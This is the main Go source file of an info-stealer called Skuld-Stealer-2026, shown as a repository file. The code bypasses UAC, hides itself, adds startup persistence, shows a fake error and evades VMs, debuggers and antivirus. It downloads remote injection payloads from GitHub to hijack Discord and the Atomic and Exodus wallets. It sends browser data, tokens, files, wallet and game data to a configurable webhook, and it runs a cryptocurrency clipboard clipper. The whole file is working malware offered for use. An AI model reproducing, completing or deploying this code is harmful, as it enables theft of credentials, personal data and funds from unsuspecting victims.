Files
Skuld-Stealer-2026/main.go
T
2026-08-27 11:00:27 -06:00

86 lines
1.9 KiB
Go

package main
import (
"github.com/hackirby/skuld/modules/antidebug"
"github.com/hackirby/skuld/modules/antivm"
"github.com/hackirby/skuld/modules/antivirus"
"github.com/hackirby/skuld/modules/browsers"
"github.com/hackirby/skuld/modules/clipper"
"github.com/hackirby/skuld/modules/commonfiles"
"github.com/hackirby/skuld/modules/discodes"
"github.com/hackirby/skuld/modules/discordinjection"
"github.com/hackirby/skuld/modules/fakeerror"
"github.com/hackirby/skuld/modules/games"
"github.com/hackirby/skuld/modules/hideconsole"
"github.com/hackirby/skuld/modules/startup"
"github.com/hackirby/skuld/modules/system"
"github.com/hackirby/skuld/modules/tokens"
"github.com/hackirby/skuld/modules/uacbypass"
"github.com/hackirby/skuld/modules/wallets"
"github.com/hackirby/skuld/modules/walletsinjection"
"github.com/hackirby/skuld/utils/program"
)
func main() {
CONFIG := map[string]interface{}{
"webhook": "",
"cryptos": map[string]string{
"BTC": "",
"BCH": "",
"ETH": "",
"XMR": "",
"LTC": "",
"XCH": "",
"XLM": "",
"TRX": "",
"ADA": "",
"DASH": "",
"DOGE": "",
},
}
if program.IsAlreadyRunning() {
return
}
uacbypass.Run()
hideconsole.Run()
program.HideSelf()
if !program.IsInStartupPath() {
go fakeerror.Run()
go startup.Run()
}
antivm.Run()
go antidebug.Run()
go antivirus.Run()
go discordinjection.Run(
"https://raw.githubusercontent.com/hackirby/discord-injection/main/injection.js",
CONFIG["webhook"].(string),
)
go walletsinjection.Run(
"https://github.com/hackirby/wallets-injection/raw/main/atomic.asar",
"https://github.com/hackirby/wallets-injection/raw/main/exodus.asar",
CONFIG["webhook"].(string),
)
actions := []func(string){
system.Run,
browsers.Run,
tokens.Run,
discodes.Run,
commonfiles.Run,
wallets.Run,
games.Run,
}
for _, action := range actions {
go action(CONFIG["webhook"].(string))
}
clipper.Run(CONFIG["cryptos"].(map[string]string))
}